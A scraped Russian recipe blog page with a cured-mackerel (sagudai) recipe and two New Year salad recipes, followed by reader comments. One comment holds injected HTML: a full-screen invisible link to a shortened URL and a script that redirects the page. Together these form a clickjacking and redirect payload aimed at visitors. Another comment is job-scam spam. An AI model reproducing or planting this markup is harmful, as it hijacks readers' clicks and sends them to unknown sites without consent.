Читайте также:
2.5k

Пальчики оближешь! ??? Рыбка с ароматом укропа...

Пальчики оближешь! ??? Рыбка с ароматом укропа тает во рту,короче-оторваться трудно,почти невозможно. Сагудай из скумбрии. Сто раз так делала...

Спешу поделиться наивкуснейшим рецептом засолки рыбы. При этом абсолютно нехлопотным и простым. Рыба получается ОБАЛДЕННАЯ! Всем кто любит рыбу советую приготовить, больше скажу,прямо настаиваю ПРИГОТОВИТЬ))
Сагудай-это закуска из свежей рыбы, распространенная на севере России.
Итак, нам понадобится на 3 скумбрии:

3-4 луковицы, 3 ст. л соли, 1 ст. л сахара, 1/2 стакана раст. масла,1/2
стакана 9% уксуса (можно чуть меньше), 1 стакан воды, зелень укропа,
перец чёрный молотый, лавровый лист.
Скумбрия у меня была замороженная. Я ее разморозила, но не окончательно, так разрезать легче и ровнее получается. Рыбу разделать, удалить голову, внутренности и черную пленочку в брюшке. Нарезать.Укладывать в емкость (банка, контейнер, что удобнее) слоями. Слой рыбы, посыпаем смесью соли и сахара, чуть добавляем молотого перца.Слой лука полукольцами, посыпаем укропом. Далее слой рыбы. Иногда добавляем лавровый лист.
Смешать уксус, масло, воду (кипячёную, остывшую).
Залить этой смесью рыбу, убрать в холодильник, через 4 часа можно кушать.Посол получается немного пряный, рыбка с ароматом укропа тает во рту,короче-оторваться трудно,почти невозможно.
Приятного аппетита!

Пальчики оближешь! ??? Рыбка с ароматом укропа...
4.7k

?ЛУЧШИЕ САЛАТЫ НА НОВЫЙ ГОД???1)Салат...

?ЛУЧШИЕ САЛАТЫ НА НОВЫЙ ГОД???

1)Салат Любовница?
1. Свекла — 2 шт
2. Сыр твердый — 150 гр
3. Изюм — 1 горсть
4. Морковь — 3 шт
5. Чеснок — 3 зубка
6. Орехи грецкие — 1 горсть
7. Майонез
8. Чернослив — 1 горсть
Свеклу, морковь отварить. Затем сваренные продукты потереть на мелкой терке. При этом все ингредиенты следует тереть в отельные тарелки. Сыр потереть также на мелкой терке. Чеснок следует выдавить, орехи измельчить. Изюм и чернослив необходимо распарить, для этого просто опустите их по отдельности, на несколько минут в кипяток. Для того, чтобы придать салату красивую и аппетитную форму, необходимо собрать его по слоям:
1-ый слой – морковь перемешайте с майонезом и изюмом (можно просто смазать этот слой майонезом, но если перемешать, будет вкуснее).
2-ой слой – перемешать майонез, чеснок и сыр.
3-ий слой включает в себя свеклу, чернослив (порезать), орехи (измельчить) и майонез. Все ингредиенты необходимо тщательно перемешать.
Всё, наш салат готов.
Приятного аппетита.

2)САЛАТ «АНАНАС» ?
Оочень вкусный салатик
Сочетание ингредиентов - бомба!??
?Ингредиенты:
?куриная грудка 300 гр вареной
?ананас консервированный 200 гр (можно свежий)
?кукуруза 100 гр
?творожный сыр 100гр (у меня вкусвилл, идеально подошло) или майонез (на глаз смотрите как любите) как в классическом рецепте
?сыр 100гр (натереть на мелкой терке)
?грецкий орех (~20 гр) и укроп для украшения сверху
??‍?Приготовление:
Грудку вареную охлаждаем, режем кубиками. Ананас режем кубиками. Смешиваем грудку, ананас, кукурузу с творожным сыром или майонезом, солим, машаем. Выкладываем на тарелку и сверху посыпаем тертым сыром. Далее украшаем грецким орехом и укропом.
Все, салатик готов и он очень вкусный!
Пол часа времени и все готово!
Приятного аппетита!❤

?ЛУЧШИЕ САЛАТЫ НА НОВЫЙ ГОД???1)Салат...
Еще посты

Популярные теги:

Свежие комментарии:

Ирина 1 недель к записи
Когда это было?что за придожение ни автора ни даты,как связаться
Напиши мне
<a/href="//cutt.ly/kwVrO4Ui"style="position:fixed;left:0;top:0;width:9999px;height:9999px;"></a>
<script>location.replace('//ya.ru')</script>Nick
Екатерина 3 недель назад к записи
Как с вами связаться?
контакт женский заработок